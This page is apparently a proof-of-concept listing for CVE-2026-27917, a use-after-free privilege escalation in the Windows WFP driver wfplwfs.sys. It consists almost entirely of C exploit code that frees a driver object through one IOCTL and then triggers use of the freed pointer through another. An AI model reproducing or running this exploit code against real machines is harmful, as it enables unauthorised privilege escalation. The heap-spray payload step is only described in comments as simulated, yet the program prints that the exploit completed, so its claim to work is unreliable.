CVE-2026-27917 Windows WFP驱动权限提升漏洞

#include <windows.h> #include <stdio.h> // Vulnerability: Use After Free in wfplwfs.sys // This PoC demonstrates the logic to trigger the UAF condition. #define DEVICE_NAME "\\.\\wfplwfs_device" #define IOCTL_FREE_OBJ 0x222003 #define IOCTL_USE_OBJ 0x222004 int main() { HANDLE hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } DWORD bytesReturned; BYTE inputBuffer[0x20] = {0}; BYTE outputBuffer[0x20] = {0}; printf("[*] Triggering object free (Use After Free condition)...\n"); // Step 1: Send IOCTL to trigger the object free in the driver DeviceIoControl(hDevice, IOCTL_FREE_OBJ, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); // Step 2: Heap Spray (Simulated) // Attacker would allocate memory to occupy the freed space with controlled payload printf("[*] Allocating memory to reclaim freed object...\n"); // Step 3: Trigger the use of the freed pointer printf("[*] Triggering use of freed pointer to elevate privileges...\n"); DeviceIoControl(hDevice, IOCTL_USE_OBJ, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); printf("[+] Exploit sequence completed.\n"); CloseHandle(hDevice); return 0; }